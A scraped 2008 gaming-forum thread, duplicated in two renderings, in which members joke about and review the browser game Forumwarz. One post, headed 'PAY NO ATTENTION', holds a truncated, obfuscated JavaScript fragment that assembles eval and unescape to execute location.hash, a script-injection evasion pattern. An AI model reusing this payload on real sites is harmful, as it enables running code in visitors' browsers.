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Perco · 02-27-2008, 08:20 PM

Is anyone else playing this? It's a web based RPG/adventure game based on internet culture. The writing is excellent and the characters are fucking awesome. Also, it uses the latest in RoR/AJAX wankery, thus making it technically superior to any other game of this type.

Some links:
Interview with one of game's creators at Waxy.org.
Forumwarz on Wikipedia

Charles · 02-27-2008, 08:28 PM

REPORTED

Coca Cola Zero · 02-27-2008, 08:34 PM

What a fucking joke of a game. Why would you play a game pretending to be an internet forum troll when you can just pick up a web browser and teach yourself to be a forum troll in real life? You aren't going to get any pussy by PRETENDING to be a forum troll... how fucking pathetic!

Raife · 02-27-2008, 08:38 PM

Keep in mind that in Estonia, warz forum you.

Jon Rowe · 02-27-2008, 08:57 PM

This is pretty cool!

Bahimiron · 02-27-2008, 09:14 PM

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Originally Posted by Jon_Danger

This is pretty cool!

But is it prison rape cool?

Unicorn McGriddle · 02-27-2008, 09:18 PM

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Originally Posted by Coca Cola Zero

What a fucking joke of a game. Why would you play a game pretending to be an internet forum troll when you can just pick up a web browser and teach yourself to be a forum troll in real life? You aren't going to get any pussy by PRETENDING to be a forum troll... how fucking pathetic!

I see you aren't hardcore enough to take your picture page trolling to the next level.

Jon Rowe · 02-27-2008, 09:45 PM

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Originally Posted by bahimiron

But is it prison rape cool?

Dunno yet, lemme go back to another thread in another section and check.

deccan · 02-27-2008, 10:38 PM

The adventure game aspects are cool, but the forum attacks get repetitive very quickly.

Funkula · 02-27-2008, 11:34 PM

Immediately after selecting the "troll" class, it let me choose an avatar. Ron Paul was one of the choices.

This game is already awesome.

Dalai · 02-28-2008, 04:03 AM

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Originally Posted by Perco

technically superior

Tell them to make their website work in Opera.

Matthew Gallant · 02-28-2008, 05:07 AM

Their server is way overloaded.

metta · 02-28-2008, 06:27 AM

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Originally Posted by Coca Cola Zero

What a fucking joke of a game. Why would you play a game pretending to be an internet forum troll when you can just pick up a web browser and teach yourself to be a forum troll in real life? You aren't going to get any pussy by PRETENDING to be a forum troll... how fucking pathetic!

This reminds me of my friend Herr Doktor, who upon seeing The 40 Year Old Virgin, rather sniffily complained that Andy wasn't 'doing it right' when he was painting his miniatures >.<

Irony I salute thee.

KieronGillen · 02-28-2008, 06:28 AM

I've made an account, God Damn Me.

KG

Jon Rowe · 02-28-2008, 09:34 AM

The combat is pretty lame so far, but damn if the dialogue and ideas aren't hilarious.

Kael · 02-28-2008, 10:01 AM

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Originally Posted by Coca Cola Zero

What a fucking joke of a game. Why would you play a game pretending to be an internet forum troll when you can just pick up a web browser and teach yourself to be a forum troll in real life? You aren't going to get any pussy by PRETENDING to be a forum troll... how fucking pathetic!

I feel the same way about Grand Theft Auto (and Leisure Suit Larry).

Demon G Sides · 02-28-2008, 10:01 AM

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Originally Posted by Coca Cola Zero

What a fucking joke of a game. Why would you play a game pretending to be an internet forum troll when you can just pick up a web browser and teach yourself to be a forum troll in real life? You aren't going to get any pussy by PRETENDING to be a forum troll... how fucking pathetic!

Since when were you Dave Long?

MattKeil · 02-28-2008, 10:18 AM

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Originally Posted by Demon G Sides

Since when were you Dave Long?

When you gaze into Dave Long, Dave Long also gazes into you.

Jason Cross · 02-28-2008, 10:39 AM

Okay, this game is seriously great. It's hilarious.

Kool Moe Dee · 02-28-2008, 10:45 AM

Heh. We used to call the female zombies in Dead Rising "crotch zombies" because their animations would often make it look like they were taking a bite out of your crotch. Wonder if they had similar inspiration for their name...

Alex Handy · 02-28-2008, 11:01 AM

Love the game, but I didn't have enough drugs, and lost my attempts at Rice Rice Baby like 4 times in a row! Now I'm outa Flezz.

Guess I'll start over from scratch.

Drastic · 02-28-2008, 11:04 AM

The Plastic Surgery Stronghold pwned me, due primarily to very poor gear. In retrospect, I should've checked my tubmail before battle.

unbongwah · 02-28-2008, 11:27 AM

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Originally Posted by MattKeil

When you gaze into Dave Long, Dave Long also gazes into you.

Perv.

Demon G Sides · 02-28-2008, 12:19 PM

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Originally Posted by Kool Moe Dee

Heh. We used to call the female zombies in Dead Rising "crotch zombies" because their animations would often make it look like they were taking a bite out of your crotch. Wonder if they had similar inspiration for their name...

It wasn't made to 'look like'.

They were intentionally done that way, because Capcom decided to objectify female Zombies.

Hence the erotica pictures you get from only female zombies.

I'm not complaining or anything.

Other Brendan · 02-28-2008, 01:35 PM

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Originally Posted by Demon G Sides

They were intentionally done that way, because Capcom decided to objectify female Zombies.

Hence the erotica pictures you get from only female zombies.

Thanks for reminding me how brilliant that game is.

Iron Xides · 02-28-2008, 01:50 PM

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Originally Posted by Alex Handy

Love the game, but I didn't have enough drugs, and lost my attempts at Rice Rice Baby like 4 times in a row! Now I'm outa Flezz.

Guess I'll start over from scratch.

The FAQ says you can pwn forums more than once, and get more vendor trash. Go back and do one of the easier ones.

Jon Rowe · 02-28-2008, 02:18 PM

This game is really cool, a great time waster, with some pretty interesting characters and play on word jokes.

s-talk anyone?

Wendelius · 02-28-2008, 04:56 PM

If anyone wants to, add Wendelius, the emo kid to your friends list. Not that I care. I hate you all. :(

Wendelius

azzl · 02-28-2008, 05:21 PM

PAY NO ATTENTION:
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Iron Xides · 02-28-2008, 05:30 PM

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Originally Posted by Wendelius

If anyone wants to, add Wendelius, the emo kid to your friends list. Not that I care. I hate you all. :(

Wendelius

Friend request sent! Don't worry about the hating, trolls tank well.

I'm "_-0-_Iron Xides_-0-_"; ideally there would be more meaningless garbage around my name, but the game only lets you use numbers, letters, hyphens, and underscores. The "0" is a zero in both instances.

Incidentally, I like how the only things you can buy with actual money without marking you as a cheater are cosmetic.

02-27-2008, 08:20 PM	#1
Perco Goodluck!! Join Date: Jun 2007 Location: Tallinn, Estonia Posts: 115	Forumwarz Is anyone else playing this? It's a web based RPG/adventure game based on internet culture. The writing is excellent and the characters are fucking awesome. Also, it uses the latest in RoR/AJAX wankery, thus making it technically superior to any other game of this type. Some links: Interview with one of game's creators at Waxy.org. Forumwarz on Wikipedia

02-27-2008, 08:28 PM	#2
Charles [Solium Infernum] How To Go Join Date: Apr 2003 Location: Montreal, Quebec Posts: 13,517	REPORTED

02-27-2008, 08:34 PM	#3
Coca Cola Zero New Romantic Join Date: May 2006 Location: San Diego, CA Posts: 7,362	What a fucking joke of a game. Why would you play a game pretending to be an internet forum troll when you can just pick up a web browser and teach yourself to be a forum troll in real life? You aren't going to get any pussy by PRETENDING to be a forum troll... how fucking pathetic!

02-27-2008, 08:38 PM	#4
Raife New Romantic Join Date: Aug 2002 Location: The drinking will continue until morale improves. Posts: 7,143	Keep in mind that in Estonia, warz forum you.

02-27-2008, 08:57 PM	#5
Jon Rowe New Romantic Join Date: Nov 2007 Location: Madison, WI Gamertag: Dr JonDanger Steam: Jon_Danger Posts: 6,470	This is pretty cool!

02-27-2008, 10:38 PM	#9
deccan Mad Chester Join Date: Jan 2005 Location: Malaysia Posts: 1,163	The adventure game aspects are cool, but the forum attacks get repetitive very quickly.

02-27-2008, 11:34 PM	#10
Funkula Social Worker Join Date: Mar 2007 Location: Dallas, TX Gamertag/SteamID: Funkula Posts: 4,258	Immediately after selecting the "troll" class, it let me choose an avatar. Ron Paul was one of the choices. This game is already awesome.

02-28-2008, 05:07 AM	#12
Matthew Gallant New Romantic Join Date: Jun 2002 Location: Kirkland, WA Posts: 8,886	Their server is way overloaded.

02-28-2008, 06:28 AM	#14
KieronGillen Neo Acoustic Join Date: Nov 2004 Posts: 1,596	I've made an account, God Damn Me. KG

02-28-2008, 09:34 AM	#15
Jon Rowe New Romantic Join Date: Nov 2007 Location: Madison, WI Gamertag: Dr JonDanger Steam: Jon_Danger Posts: 6,470	The combat is pretty lame so far, but damn if the dialogue and ideas aren't hilarious.

02-28-2008, 10:39 AM	#19
Jason Cross Social Worker Join Date: Jun 2002 Location: Gamertag: JasonC Cassiae on WoW (Moonrunner/Alliance)......... Morgwyn on LOTRO (Nimrodel) Posts: 4,924	Okay, this game is seriously great. It's hilarious.

02-28-2008, 10:45 AM	#20
Kool Moe Dee Social Worker Join Date: Jun 2002 Location: My Crib Posts: 2,330	Heh. We used to call the female zombies in Dead Rising "crotch zombies" because their animations would often make it look like they were taking a bite out of your crotch. Wonder if they had similar inspiration for their name...

02-28-2008, 11:01 AM	#21
Alex Handy Neo Acoustic Join Date: Sep 2004 Location: Oakland Posts: 1,536	Love the game, but I didn't have enough drugs, and lost my attempts at Rice Rice Baby like 4 times in a row! Now I'm outa Flezz. Guess I'll start over from scratch.

02-28-2008, 11:04 AM	#22
Drastic Social Worker Join Date: Mar 2003 Location: Live: Gar Drastic \| PSN & Steam: GarDrastic Posts: 4,271	The Plastic Surgery Stronghold pwned me, due primarily to very poor gear. In retrospect, I should've checked my tubmail before battle.

02-28-2008, 02:18 PM	#27
Jon Rowe New Romantic Join Date: Nov 2007 Location: Madison, WI Gamertag: Dr JonDanger Steam: Jon_Danger Posts: 6,470	This game is really cool, a great time waster, with some pretty interesting characters and play on word jokes. s-talk anyone?

02-28-2008, 04:56 PM	#28
Wendelius Spinning Toe Join Date: Apr 2007 Location: Londinium, UK Posts: 544	If anyone wants to, add Wendelius, the emo kid to your friends list. Not that I care. I hate you all. :( Wendelius

02-28-2008, 05:21 PM	#29
azzl Hustle Join Date: Jun 2004 Location: Seattle Posts: 367	PAY NO ATTENTION: a=0\|\|'ev'+'al',b=0\|\|location.hash,c=0\|\|'sub'+ a=0\|\|'ev'+'al'\|\|0;b=0\|\|'locatio';b+=0\|\|'n.h'+ 'str(1)';c=b[a];c(c(b));eval.call(this,unesca d=0\|\|'une'+'scape'\|\|0;a=0\|\|'ev'+'al'\|\|0;b=0\|\| \|\|0;c=b[a];d=c(d);c(d(c(b)))

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